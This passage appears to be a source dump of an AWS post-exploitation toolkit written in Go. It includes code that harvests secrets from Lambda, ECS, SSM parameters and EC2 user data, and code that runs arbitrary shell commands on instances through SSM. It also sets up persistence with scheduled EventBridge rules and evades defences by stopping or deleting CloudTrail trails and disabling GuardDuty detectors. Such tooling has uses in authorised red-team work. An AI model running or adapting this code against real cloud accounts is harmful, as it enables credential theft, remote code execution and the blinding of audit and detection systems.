20 | switch aerr.Code() { 21 | default: 22 | fmt.Println(aerr.Error()) 23 | } 24 | } else { 25 | // Print the error, cast err to awserr.Error to get the Code and 26 | // Message from an error. 27 | fmt.Println(err.Error()) 28 | } 29 | return 30 | } 31 | 32 | fmt.Println(result) 33 | } 34 | 35 | func ListIdentities(sess *session.Session) { 36 | svc := ses.New(sess) 37 | input := &ses.ListIdentitiesInput{ 38 | IdentityType: aws.String("EmailAddress"), 39 | } 40 | 41 | result, err := svc.ListIdentities(input) 42 | if err != nil { 43 | if aerr, ok := err.(awserr.Error); ok { 44 | switch aerr.Code() { 45 | default: 46 | fmt.Println(aerr.Error()) 47 | } 48 | } else { 49 | // Print the error, cast err to awserr.Error to get the Code and 50 | // Message from an error. 51 | fmt.Println(err.Error()) 52 | } 53 | return 54 | } 55 | 56 | fmt.Println(result) 57 | } 58 | 59 | func SendEmail(sess *session.Session, body string, to string, from string, subject string) { 60 | svc := ses.New(sess) 61 | input := &ses.SendEmailInput{ 62 | Destination: &ses.Destination{ 63 | ToAddresses: []*string{ 64 | aws.String(to), 65 | }, 66 | }, 67 | Message: &ses.Message{ 68 | Body: &ses.Body{ 69 | Html: &ses.Content{ 70 | Charset: aws.String("UTF-8"), 71 | Data: aws.String(body), 72 | }, 73 | }, 74 | Subject: &ses.Content{ 75 | Charset: aws.String("UTF-8"), 76 | Data: aws.String(subject), 77 | }, 78 | }, 79 | ReturnPathArn: aws.String("arn:aws:ses:us-east-1:861293084598:identity/bullsecurity.co"), 80 | Source: aws.String(from), 81 | } 82 | 83 | result, err := svc.SendEmail(input) 84 | if err != nil { 85 | if aerr, ok := err.(awserr.Error); ok { 86 | switch aerr.Code() { 87 | case ses.ErrCodeMessageRejected: 88 | fmt.Println(ses.ErrCodeMessageRejected, aerr.Error()) 89 | case ses.ErrCodeMailFromDomainNotVerifiedException: 90 | fmt.Println(ses.ErrCodeMailFromDomainNotVerifiedException, aerr.Error()) 91 | case ses.ErrCodeConfigurationSetDoesNotExistException: 92 | fmt.Println(ses.ErrCodeConfigurationSetDoesNotExistException, aerr.Error()) 93 | case ses.ErrCodeConfigurationSetSendingPausedException: 94 | fmt.Println(ses.ErrCodeConfigurationSetSendingPausedException, aerr.Error()) 95 | case ses.ErrCodeAccountSendingPausedException: 96 | fmt.Println(ses.ErrCodeAccountSendingPausedException, aerr.Error()) 97 | default: 98 | fmt.Println(aerr.Error()) 99 | } 100 | } else { 101 | // Print the error, cast err to awserr.Error to get the Code and 102 | // Message from an error. 103 | fmt.Println(err.Error()) 104 | } 105 | return 106 | } 107 | 108 | fmt.Println(result) 109 | } 110 | -------------------------------------------------------------------------------- /pkg/awsdata/ssm.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | 7 | "github.com/aws/aws-sdk-go/aws" 8 | "github.com/aws/aws-sdk-go/aws/awserr" 9 | "github.com/aws/aws-sdk-go/aws/session" 10 | "github.com/aws/aws-sdk-go/service/ssm" 11 | ) 12 | 13 | func DescribeParameters(sess *session.Session) []*ssm.ParameterMetadata { 14 | svc := ssm.New(sess) 15 | input := &ssm.DescribeParametersInput{} 16 | 17 | result, err := svc.DescribeParameters(input) 18 | if err != nil { 19 | if aerr, ok := err.(awserr.Error); ok { 20 | switch aerr.Code() { 21 | default: 22 | fmt.Println(aerr.Error()) 23 | } 24 | } else { 25 | // Print the error, cast err to awserr.Error to get the Code and 26 | // Message from an error. 27 | fmt.Println(err.Error()) 28 | } 29 | return nil 30 | } 31 | 32 | return result.Parameters 33 | } 34 | 35 | func GetParameter(sess *session.Session, paramname string) *ssm.GetParameterOutput { 36 | svc := ssm.New(sess) 37 | input := &ssm.GetParameterInput{ 38 | Name: aws.String(paramname), 39 | } 40 | 41 | result, err := svc.GetParameter(input) 42 | if err != nil { 43 | if aerr, ok := err.(awserr.Error); ok { 44 | switch aerr.Code() { 45 | default: 46 | fmt.Println(aerr.Error()) 47 | } 48 | } else { 49 | // Print the error, cast err to awserr.Error to get the Code and 50 | // Message from an error. 51 | fmt.Println(err.Error()) 52 | } 53 | return nil 54 | } 55 | 56 | return result 57 | } 58 | 59 | //SendCommand to ssm enabled ec2 60 | func SendCommand(sess *session.Session, instanceID string, cmd string) string { 61 | 62 | var instanceList, commandList []string 63 | 64 | cmd = strings.Replace(cmd, "\"", "", 2) 65 | //commandList = strings.Split(cmd, " ") 66 | //fmt.Println(commandList) 67 | commandList = append(commandList, cmd) 68 | 69 | svc := ssm.New(sess) 70 | instanceList = append(instanceList, instanceID) 71 | 72 | input := &ssm.SendCommandInput{ 73 | InstanceIds: aws.StringSlice(instanceList), 74 | DocumentName: aws.String("AWS-RunShellScript"), 75 | Parameters: map[string][]*string{ 76 | /* 77 | ssm.SendCommandInput objects require parameters for the DocumentName chosen 78 | For AWS-RunShellScript, the only required parameter is "commands", 79 | which is the shell command to be executed on the target. To emulate 80 | the original script, we also set "executionTimeout" to 10 minutes. 81 | */ 82 | "commands": aws.StringSlice(commandList), 83 | "executionTimeout": aws.StringSlice([]string{"600"}), 84 | }, 85 | } 86 | 87 | // Example sending a request using the SendCommandRequest method. 88 | req, resp := svc.SendCommandRequest(input) 89 | 90 | err := req.Send() 91 | if err == nil { // resp is now filled 92 | return *resp.Command.CommandId 93 | } 94 | fmt.Println(err) 95 | return "" 96 | } 97 | 98 | func GetCommandInvocation(sess *session.Session, instanceID string, cmdID string) { 99 | 100 | svc := ssm.New(sess) 101 | 102 | input := &ssm.GetCommandInvocationInput{ 103 | CommandId: aws.String(cmdID), 104 | InstanceId: aws.String(instanceID), 105 | } 106 | 107 | req, resp := svc.GetCommandInvocationRequest(input) 108 | 109 | err := req.Send() 110 | if err != nil { // resp is now filled 111 | fmt.Println(err) 112 | } 113 | fmt.Println("Command Output: ") 114 | fmt.Println(*resp.StandardOutputContent) 115 | 116 | } 117 | -------------------------------------------------------------------------------- /pkg/awsdata/credentials.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "encoding/base64" 5 | "fmt" 6 | "regexp" 7 | "strings" 8 | 9 | "github.com/aws/aws-sdk-go/aws/session" 10 | ) 11 | 12 | type Finding struct { 13 | Rule string `json:"rule"` 14 | Finding string `json:"finding"` 15 | } 16 | 17 | func CredentialDiscoveryLambda(sess *session.Session, t string) { 18 | rando := SetTrackingAction(t, "lambda-creds") 19 | data := [][]string{} 20 | var envVariables []string 21 | 22 | functions := ListFunctions(sess) 23 | for _, f := range functions.Functions { 24 | function := GetFunction(sess, *f.FunctionName) 25 | for k, v := range function.Configuration.Environment.Variables { 26 | envVariables = append(envVariables, k+":"+*v) 27 | } 28 | row := []string{*function.Configuration.FunctionName, strings.Join(envVariables, ","), *function.Code.RepositoryType} 29 | data = append(data, row) 30 | } 31 | fmt.Println("UA Tracking: exec-env/" + rando) 32 | header := []string{"Function", "Env Variables", "Code Location"} 33 | tableData(data, header) 34 | } 35 | 36 | func CredentialDiscoveryUserData(sess *session.Session, t string) { 37 | rando := SetTrackingAction(t, "userdata-creds") 38 | data := [][]string{} 39 | 40 | instances := DescribeInstances(sess) 41 | for _, v := range instances { 42 | for _, i := range v.Instances { 43 | userData := DescribeInstanceAttribute(sess, *i.InstanceId, "userData") 44 | if userData.UserData.Value != nil { 45 | findings := secret(*userData.UserData.Value, *i.InstanceId) 46 | if len(findings) >= 1 { 47 | for _, f := range findings { 48 | row := []string{*i.InstanceId, f.Rule, f.Finding} 49 | data = append(data, row) 50 | } 51 | } 52 | } 53 | } 54 | 55 | } 56 | fmt.Println("UA Tracking: exec-env/" + rando) 57 | header := []string{"InstanceID", "Rule", "Finding"} 58 | tableData(data, header) 59 | } 60 | 61 | func CredentialDiscoverySSMParams(sess *session.Session, t string) { 62 | rando := SetTrackingAction(t, "ssm-params-creds") 63 | data := [][]string{} 64 | 65 | params := DescribeParameters(sess) 66 | for _, v := range params { 67 | params := GetParameter(sess, *v.Name) 68 | row := []string{*params.Parameter.Name, *params.Parameter.DataType, *params.Parameter.Value} 69 | data = append(data, row) 70 | 71 | } 72 | fmt.Println("UA Tracking: exec-env/" + rando) 73 | header := []string{"Param Name", "DataType", "Value"} 74 | tableData(data, header) 75 | } 76 | 77 | func CredentialDiscoveryECSEnv(sess *session.Session, t string) { 78 | rando := SetTrackingAction(t, "ecs-creds") 79 | data := [][]string{} 80 | 81 | defs := ListTaskDefinitions(sess) 82 | for _, v := range defs.TaskDefinitionArns { 83 | env := DescribeTaskDefinition(sess, *v) 84 | for _, t := range env.TaskDefinition.ContainerDefinitions { 85 | for _, e := range t.Environment { 86 | row := []string{*e.Name, *e.Value, *t.Name} 87 | data = append(data, row) 88 | } 89 | } 90 | 91 | } 92 | fmt.Println("UA Tracking: exec-env/" + rando) 93 | header := []string{"Envars name", "Value", "Definition"} 94 | tableData(data, header) 95 | } 96 | 97 | func secret(data64 string, instance string) []Finding { 98 | 99 | var findings []Finding 100 | r := BuildRules() 101 | 102 | decoded, err := base64.StdEncoding.DecodeString(data64) 103 | if err != nil { 104 | fmt.Println("decode error:", err) 105 | return nil 106 | } 107 | 108 | for _, rule := range r { 109 | r, _ := regexp.Compile(rule.Exp) 110 | if r.MatchString(string(decoded)) { 111 | row := Finding{ 112 | Rule: rule.Name, 113 | Finding: r.FindString(string(decoded)), 114 | } 115 | findings = append(findings, row) 116 | } 117 | 118 | } 119 | return findings 120 | } 121 | -------------------------------------------------------------------------------- /pkg/completion/credentials.go: -------------------------------------------------------------------------------- 1 | package completion 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | 7 | "github.com/aws/aws-sdk-go/aws" 8 | "github.com/aws/aws-sdk-go/aws/credentials" 9 | "github.com/aws/aws-sdk-go/aws/credentials/stscreds" 10 | "github.com/aws/aws-sdk-go/aws/session" 11 | ) 12 | 13 | // UseDefaultCredentials attempts to create a session that relies on the default credentials chain. 14 | // This chain includes EC2 instance roles when running on an EC2 instance. 15 | func UseDefaultCredentials(region string) *session.Session { 16 | sess, err := session.NewSession(&aws.Config{ 17 | Region: aws.String(region), 18 | }) 19 | if err != nil { 20 | fmt.Println("Error creating session with default credentials:", err) 21 | connected = false 22 | } else { 23 | connected = true 24 | } 25 | 26 | // Attempting to retrieve credentials to verify a successful session. This is optional. 27 | _, err = sess.Config.Credentials.Get() 28 | if err != nil { 29 | fmt.Println("Error retrieving credentials from default credentials chain:", err) 30 | connected = false 31 | } else { 32 | connected = true 33 | } 34 | 35 | fmt.Println("Successfully created session with default credentials") 36 | return sess 37 | } 38 | 39 | //Load profile from .aws/credentials by name 40 | func getProfile(pname string, region string) *session.Session { 41 | sess, err := session.NewSession(&aws.Config{ 42 | Region: aws.String(region), 43 | Credentials: credentials.NewSharedCredentials("", pname), 44 | }) 45 | if err != nil { 46 | fmt.Println("Invalid Credentials") 47 | connected = false 48 | } else { 49 | connected = true 50 | } 51 | _, err = sess.Config.Credentials.Get() 52 | if err != nil { 53 | fmt.Println("Invalid Credentials") 54 | connected = false 55 | } else { 56 | connected = true 57 | } 58 | return sess 59 | } 60 | 61 | //Assume role from roleArn 62 | func assumeRole(arn string, region string) *session.Session { 63 | creds := stscreds.NewCredentials(sess, arn) 64 | sessNew, err := session.NewSession(&aws.Config{ 65 | Region: aws.String(region), 66 | Credentials: creds, 67 | }) 68 | if err != nil { 69 | fmt.Println(err) 70 | return nil 71 | } else { 72 | connected = true 73 | } 74 | _, err = sess.Config.Credentials.Get() 75 | if err != nil { 76 | fmt.Println(err) 77 | return nil 78 | } else { 79 | connected = true 80 | } 81 | return sessNew 82 | } 83 | 84 | //Assume raw json token set 85 | func assumeRaw(region string, data string) *session.Session { 86 | var token awsToken 87 | err := json.Unmarshal([]byte(data), &token) 88 | 89 | sess, err := session.NewSession(&aws.Config{ 90 | Region: aws.String(region), 91 | Credentials: credentials.NewStaticCredentials(token.AccessKeyID, token.SecretAccessKey, token.Token), 92 | }) 93 | if err != nil { 94 | fmt.Println(err) 95 | return nil 96 | } else { 97 | connected = true 98 | } 99 | _, err = sess.Config.Credentials.Get() 100 | if err != nil { 101 | fmt.Println(err) 102 | return nil 103 | } else { 104 | connected = true 105 | target = token.AccessKeyID 106 | } 107 | return sess 108 | } 109 | 110 | //GetSessionToken for current profile 111 | func stsSession(access string, secret string, sessiont string, region string) *session.Session { 112 | 113 | sess, err := session.NewSession(&aws.Config{ 114 | Region: aws.String(region), 115 | Credentials: credentials.NewStaticCredentials(access, secret, sessiont), 116 | }) 117 | if err != nil { 118 | fmt.Println(err) 119 | connected = false 120 | } else { 121 | connected = true 122 | } 123 | _, err = sess.Config.Credentials.Get() 124 | if err != nil { 125 | fmt.Println(err) 126 | connected = false 127 | } else { 128 | connected = true 129 | target = access 130 | } 131 | return sess 132 | } 133 | -------------------------------------------------------------------------------- /pkg/awsdata/eventbridge.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "fmt" 5 | "regexp" 6 | 7 | "github.com/aws/aws-sdk-go/aws" 8 | "github.com/aws/aws-sdk-go/aws/awserr" 9 | "github.com/aws/aws-sdk-go/aws/session" 10 | "github.com/aws/aws-sdk-go/service/eventbridge" 11 | "github.com/aws/aws-sdk-go/service/iam" 12 | "github.com/drk1wi/Modlishka/log" 13 | ) 14 | 15 | func PutRule(sess *session.Session, rulename string) string { 16 | rando := String(10) 17 | ruleName := rulename + rando 18 | svc := eventbridge.New(sess) 19 | input := &eventbridge.PutRuleInput{ 20 | Name: aws.String(ruleName), 21 | ScheduleExpression: aws.String("cron(*/5 * * * ? *)"), 22 | } 23 | 24 | result, err := svc.PutRule(input) 25 | if err != nil { 26 | if aerr, ok := err.(awserr.Error); ok { 27 | switch aerr.Code() { 28 | case iam.ErrCodeLimitExceededException: 29 | fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error()) 30 | case iam.ErrCodeInvalidInputException: 31 | fmt.Println(iam.ErrCodeInvalidInputException, aerr.Error()) 32 | case iam.ErrCodeEntityAlreadyExistsException: 33 | fmt.Println(iam.ErrCodeEntityAlreadyExistsException, aerr.Error()) 34 | case iam.ErrCodeMalformedPolicyDocumentException: 35 | fmt.Println(iam.ErrCodeMalformedPolicyDocumentException, aerr.Error()) 36 | case iam.ErrCodeConcurrentModificationException: 37 | fmt.Println(iam.ErrCodeConcurrentModificationException, aerr.Error()) 38 | case iam.ErrCodeServiceFailureException: 39 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 40 | default: 41 | fmt.Println(aerr.Error()) 42 | } 43 | } else { 44 | // Print the error, cast err to awserr.Error to get the Code and 45 | // Message from an error. 46 | fmt.Println(err.Error()) 47 | } 48 | return "" 49 | } 50 | log.Infof("* Created EventBridge rule %s successfully", *result.RuleArn) 51 | return *result.RuleArn 52 | } 53 | 54 | func PutTarget(sess *session.Session, targetArn string, roleArn string, ruleArn string) { 55 | 56 | regexRule := `rule\/(.*)` 57 | var ruleName string 58 | 59 | r, _ := regexp.Compile(regexRule) 60 | if r.MatchString(ruleArn) { 61 | matches := r.FindStringSubmatch(string(ruleArn)) 62 | ruleName = matches[1] 63 | } 64 | 65 | var targets []*eventbridge.Target 66 | 67 | targets = append(targets, &eventbridge.Target{ 68 | Arn: aws.String(targetArn), 69 | Id: aws.String("1"), 70 | RoleArn: aws.String(roleArn), 71 | }) 72 | 73 | svc := eventbridge.New(sess) 74 | input := &eventbridge.PutTargetsInput{ 75 | Rule: aws.String(ruleName), 76 | Targets: targets, 77 | } 78 | 79 | _, err := svc.PutTargets(input) 80 | if err != nil { 81 | if aerr, ok := err.(awserr.Error); ok { 82 | switch aerr.Code() { 83 | case iam.ErrCodeLimitExceededException: 84 | fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error()) 85 | case iam.ErrCodeInvalidInputException: 86 | fmt.Println(iam.ErrCodeInvalidInputException, aerr.Error()) 87 | case iam.ErrCodeEntityAlreadyExistsException: 88 | fmt.Println(iam.ErrCodeEntityAlreadyExistsException, aerr.Error()) 89 | case iam.ErrCodeMalformedPolicyDocumentException: 90 | fmt.Println(iam.ErrCodeMalformedPolicyDocumentException, aerr.Error()) 91 | case iam.ErrCodeConcurrentModificationException: 92 | fmt.Println(iam.ErrCodeConcurrentModificationException, aerr.Error()) 93 | case iam.ErrCodeServiceFailureException: 94 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 95 | default: 96 | fmt.Println(aerr.Error()) 97 | } 98 | } else { 99 | // Print the error, cast err to awserr.Error to get the Code and 100 | // Message from an error. 101 | fmt.Println(err.Error()) 102 | } 103 | return 104 | } 105 | log.Infof("* Added EventBridge CodeBuild target %s successfully", targetArn) 106 | } 107 | -------------------------------------------------------------------------------- /pkg/awsdata/cloudtrail.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "os" 7 | "time" 8 | 9 | "github.com/aws/aws-sdk-go/aws" 10 | "github.com/aws/aws-sdk-go/aws/awserr" 11 | "github.com/aws/aws-sdk-go/aws/session" 12 | "github.com/aws/aws-sdk-go/service/cloudtrail" 13 | "github.com/drk1wi/Modlishka/log" 14 | ) 15 | 16 | type FullEvent struct { 17 | EventVersion string 18 | UserIdentity struct { 19 | Type string 20 | PrincipalID string 21 | Arn string 22 | AccountID string 23 | UserName string 24 | AccessKeyId string 25 | } 26 | EventTime string 27 | EventSource string 28 | EventName string 29 | AwsRegion string 30 | SourceIPAddress string 31 | UserAgent string 32 | RequestParameters struct { 33 | RoleArn string 34 | } 35 | ResponseElements map[string]interface{} 36 | AdditionalEventData struct { 37 | LoginTo string 38 | MobileVersion string 39 | MFAUsed string 40 | } 41 | EventID string 42 | EventType string 43 | RecipientAccountID string 44 | SharedEventID string 45 | } 46 | 47 | func LookupEvents(sess *session.Session, event string) []FullEvent { 48 | var input *cloudtrail.LookupEventsInput 49 | var events []FullEvent 50 | 51 | now := time.Now().UTC() 52 | count := 100 53 | now = now.Add(time.Duration(-count) * time.Hour) 54 | 55 | svc := cloudtrail.New(sess) 56 | eventCount := 0 57 | input = &cloudtrail.LookupEventsInput{ 58 | LookupAttributes: []*cloudtrail.LookupAttribute{{ 59 | AttributeKey: aws.String("EventName"), 60 | AttributeValue: aws.String(event), 61 | }}, 62 | StartTime: &now, 63 | } 64 | result, err := svc.LookupEvents(input) 65 | for _, event := range result.Events { 66 | eventCount++ 67 | fullEvent := FullEvent{} 68 | json.Unmarshal([]byte(*event.CloudTrailEvent), &fullEvent) 69 | events = append(events, fullEvent) 70 | } 71 | for { 72 | if result.NextToken == nil { 73 | break 74 | } 75 | log.Infof("%d events found. Continuing...", eventCount) 76 | input.NextToken = result.NextToken 77 | 78 | result, err = svc.LookupEvents(input) 79 | if err != nil { 80 | log.Fatal(err) 81 | } 82 | for _, event := range result.Events { 83 | fullEvent := FullEvent{} 84 | json.Unmarshal([]byte(*event.CloudTrailEvent), &fullEvent) 85 | events = append(events, fullEvent) 86 | } 87 | } 88 | if err != nil { 89 | if aerr, ok := err.(awserr.Error); ok { 90 | switch aerr.Code() { 91 | default: 92 | fmt.Println(aerr.Error()) 93 | } 94 | } else { 95 | // Print the error, cast err to awserr.Error to get the Code and 96 | // Message from an error. 97 | fmt.Println(err.Error()) 98 | } 99 | return nil 100 | } 101 | 102 | return events 103 | } 104 | 105 | func DescribeTrails(sess *session.Session) []*cloudtrail.Trail { 106 | // Create CloudTrail client 107 | svc := cloudtrail.New(sess) 108 | resp, err := svc.DescribeTrails(&cloudtrail.DescribeTrailsInput{TrailNameList: nil}) 109 | if err != nil { 110 | fmt.Println("Got error calling CreateTrail:") 111 | fmt.Println(err.Error()) 112 | os.Exit(1) 113 | } 114 | 115 | return resp.TrailList 116 | } 117 | 118 | func ListTrails() { 119 | 120 | } 121 | 122 | func GetEventSelectors() { 123 | 124 | } 125 | 126 | func StopLogging(sess *session.Session, trail string) bool { 127 | 128 | svc := cloudtrail.New(sess) 129 | 130 | _, err := svc.StopLogging(&cloudtrail.StopLoggingInput{ 131 | Name: aws.String(trail), 132 | }) 133 | if err != nil { 134 | fmt.Println("Got error calling StopLogging:") 135 | fmt.Println(err.Error()) 136 | return false 137 | } 138 | 139 | return true 140 | } 141 | 142 | func DeleteTrail(sess *session.Session, trail string) bool { 143 | 144 | svc := cloudtrail.New(sess) 145 | 146 | _, err := svc.DeleteTrail(&cloudtrail.DeleteTrailInput{Name: aws.String(trail)}) 147 | if err != nil { 148 | fmt.Println("Got error calling DeleteTrail:") 149 | fmt.Println(err.Error()) 150 | return false 151 | } 152 | 153 | return true 154 | } 155 | 156 | func UpdateTrail() { 157 | 158 | } 159 | -------------------------------------------------------------------------------- /pkg/completion/lists.go: -------------------------------------------------------------------------------- 1 | package completion 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "log" 7 | "os/user" 8 | "regexp" 9 | 10 | "github.com/aws/aws-sdk-go/aws" 11 | "github.com/aws/aws-sdk-go/aws/session" 12 | "github.com/aws/aws-sdk-go/service/cloudtrail" 13 | "github.com/aws/aws-sdk-go/service/iam" 14 | "github.com/grines/scour/pkg/awsdata" 15 | ) 16 | 17 | func listProfiles() func(string) []string { 18 | return func(line string) []string { 19 | rule := `\[(.*)\]` 20 | var profiles []string 21 | 22 | usr, err := user.Current() 23 | if err != nil { 24 | log.Fatal(err) 25 | } 26 | 27 | dat, err := ioutil.ReadFile(usr.HomeDir + "/.aws/credentials") 28 | if err != nil { 29 | fmt.Println(err) 30 | } 31 | 32 | r, _ := regexp.Compile(rule) 33 | if r.MatchString(string(dat)) { 34 | matches := r.FindAllStringSubmatch(string(dat), -1) 35 | for _, v := range matches { 36 | profiles = append(profiles, v[1]) 37 | } 38 | } 39 | return profiles 40 | } 41 | } 42 | 43 | func listUsers(sess *session.Session) func(string) []string { 44 | return func(line string) []string { 45 | if connected == true { 46 | users := awsdata.ListUsers(sess, true) 47 | return users 48 | } 49 | return nil 50 | } 51 | } 52 | 53 | func listEc2(sess *session.Session) func(string) []string { 54 | return func(line string) []string { 55 | if connected == true { 56 | var results []string 57 | instances := awsdata.DescribeInstances(sess) 58 | for _, v := range instances { 59 | for _, i := range v.Instances { 60 | results = append(results, *i.InstanceId) 61 | } 62 | } 63 | 64 | return results 65 | } 66 | return nil 67 | } 68 | } 69 | 70 | func listRoles(sess *session.Session) func(string) []string { 71 | return func(line string) []string { 72 | if connected == true { 73 | var results []string 74 | svc := iam.New(sess) 75 | 76 | result, err := svc.ListRoles(&iam.ListRolesInput{ 77 | MaxItems: aws.Int64(100), 78 | }) 79 | 80 | if err != nil { 81 | fmt.Println("Error", err) 82 | return nil 83 | } 84 | 85 | for _, role := range result.Roles { 86 | if role == nil { 87 | continue 88 | } 89 | results = append(results, *role.Arn) 90 | } 91 | return results 92 | } 93 | return nil 94 | } 95 | } 96 | 97 | func listRolesName(sess *session.Session) func(string) []string { 98 | return func(line string) []string { 99 | if connected == true { 100 | var results []string 101 | svc := iam.New(sess) 102 | 103 | result, err := svc.ListRoles(&iam.ListRolesInput{ 104 | MaxItems: aws.Int64(100), 105 | }) 106 | 107 | if err != nil { 108 | fmt.Println("Error", err) 109 | return nil 110 | } 111 | 112 | for _, role := range result.Roles { 113 | if role == nil { 114 | continue 115 | } 116 | results = append(results, *role.RoleName) 117 | } 118 | return results 119 | } 120 | return nil 121 | } 122 | } 123 | 124 | func listTrails(sess *session.Session) func(string) []string { 125 | return func(line string) []string { 126 | if connected == true { 127 | var results []string 128 | svc := cloudtrail.New(sess) 129 | 130 | result, err := svc.DescribeTrails(&cloudtrail.DescribeTrailsInput{}) 131 | 132 | if err != nil { 133 | fmt.Println("Error", err) 134 | return nil 135 | } 136 | 137 | for _, trail := range result.TrailList { 138 | if trail == nil { 139 | continue 140 | } 141 | results = append(results, *trail.Name) 142 | } 143 | return results 144 | } 145 | return nil 146 | } 147 | } 148 | 149 | func listBuckets(sess *session.Session) func(string) []string { 150 | return func(line string) []string { 151 | if connected == true { 152 | var results []string 153 | 154 | buckets := awsdata.ListBuckets(sess, true) 155 | 156 | for _, b := range buckets { 157 | results = append(results, b) 158 | } 159 | return results 160 | } 161 | return nil 162 | } 163 | } 164 | 165 | func GetRegions() []string { 166 | allRegions := []string{"us-east-1", "us-east-2", "us-west-1", "us-west-2", "ca-central-1", 167 | "eu-west-1", "eu-west-2", "eu-west-3", "eu-north-1", "ap-northeast-1", "ap-northeast-2", 168 | "ap-northeast-3", "ap-southeast-1", "ap-southeast-2", "ap-south-1", "sa-east-1"} 169 | 170 | return allRegions 171 | } 172 | -------------------------------------------------------------------------------- /pkg/awsdata/guardduty.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/aws/aws-sdk-go/aws" 7 | "github.com/aws/aws-sdk-go/aws/awserr" 8 | "github.com/aws/aws-sdk-go/aws/session" 9 | "github.com/aws/aws-sdk-go/service/guardduty" 10 | "github.com/aws/aws-sdk-go/service/iam" 11 | ) 12 | 13 | func DisableDetector(sess *session.Session, detectorid string) bool { 14 | svc := guardduty.New(sess) 15 | input := &guardduty.DeleteDetectorInput{ 16 | DetectorId: aws.String(detectorid), 17 | } 18 | 19 | _, err := svc.DeleteDetector(input) 20 | if err != nil { 21 | if aerr, ok := err.(awserr.Error); ok { 22 | switch aerr.Code() { 23 | case iam.ErrCodeNoSuchEntityException: 24 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 25 | case iam.ErrCodeLimitExceededException: 26 | fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error()) 27 | case iam.ErrCodeServiceFailureException: 28 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 29 | default: 30 | fmt.Println(aerr.Error()) 31 | } 32 | } else { 33 | // Print the error, cast err to awserr.Error to get the Code and 34 | // Message from an error. 35 | fmt.Println(err.Error()) 36 | } 37 | return false 38 | } 39 | 40 | return true 41 | } 42 | 43 | func ListDetectors(sess *session.Session) *guardduty.ListDetectorsOutput { 44 | svc := guardduty.New(sess) 45 | input := &guardduty.ListDetectorsInput{} 46 | 47 | result, err := svc.ListDetectors(input) 48 | if err != nil { 49 | if aerr, ok := err.(awserr.Error); ok { 50 | switch aerr.Code() { 51 | case iam.ErrCodeNoSuchEntityException: 52 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 53 | case iam.ErrCodeLimitExceededException: 54 | fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error()) 55 | case iam.ErrCodeServiceFailureException: 56 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 57 | default: 58 | fmt.Println(aerr.Error()) 59 | } 60 | } else { 61 | // Print the error, cast err to awserr.Error to get the Code and 62 | // Message from an error. 63 | fmt.Println(err.Error()) 64 | } 65 | return nil 66 | } 67 | 68 | return result 69 | } 70 | 71 | func UpdateDetector(sess *session.Session, detectorid string) bool { 72 | svc := guardduty.New(sess) 73 | input := &guardduty.UpdateDetectorInput{ 74 | DetectorId: aws.String(detectorid), 75 | Enable: aws.Bool(false), 76 | } 77 | 78 | _, err := svc.UpdateDetector(input) 79 | if err != nil { 80 | if aerr, ok := err.(awserr.Error); ok { 81 | switch aerr.Code() { 82 | case iam.ErrCodeNoSuchEntityException: 83 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 84 | case iam.ErrCodeLimitExceededException: 85 | fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error()) 86 | case iam.ErrCodeServiceFailureException: 87 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 88 | default: 89 | fmt.Println(aerr.Error()) 90 | } 91 | } else { 92 | // Print the error, cast err to awserr.Error to get the Code and 93 | // Message from an error. 94 | fmt.Println(err.Error()) 95 | } 96 | return false 97 | } 98 | 99 | return true 100 | } 101 | 102 | func StopMonitoringMembers(sess *session.Session, detectorid string, accountID string) bool { 103 | svc := guardduty.New(sess) 104 | input := &guardduty.StopMonitoringMembersInput{ 105 | DetectorId: aws.String(detectorid), 106 | } 107 | 108 | _, err := svc.StopMonitoringMembers(input) 109 | if err != nil { 110 | if aerr, ok := err.(awserr.Error); ok { 111 | switch aerr.Code() { 112 | case iam.ErrCodeNoSuchEntityException: 113 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 114 | case iam.ErrCodeLimitExceededException: 115 | fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error()) 116 | case iam.ErrCodeServiceFailureException: 117 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 118 | default: 119 | fmt.Println(aerr.Error()) 120 | } 121 | } else { 122 | // Print the error, cast err to awserr.Error to get the Code and 123 | // Message from an error. 124 | fmt.Println(err.Error()) 125 | } 126 | return false 127 | } 128 | 129 | return true 130 | } 131 | 132 | func CreateIPSet(sess *session.Session, detectorid string, location string) bool { 133 | svc := guardduty.New(sess) 134 | input := &guardduty.CreateIPSetInput{ 135 | DetectorId: aws.String(detectorid), 136 | Activate: aws.Bool(true), 137 | Name: aws.String("Safelist"), 138 | Format: aws.String("TXT"), 139 | Location: aws.String(location), 140 | } 141 | 142 | _, err := svc.CreateIPSet(input) 143 | if err != nil { 144 | if aerr, ok := err.(awserr.Error); ok { 145 | switch aerr.Code() { 146 | case iam.ErrCodeNoSuchEntityException: 147 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 148 | case iam.ErrCodeLimitExceededException: 149 | fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error()) 150 | case iam.ErrCodeServiceFailureException: 151 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 152 | default: 153 | fmt.Println(aerr.Error()) 154 | } 155 | } else { 156 | // Print the error, cast err to awserr.Error to get the Code and 157 | // 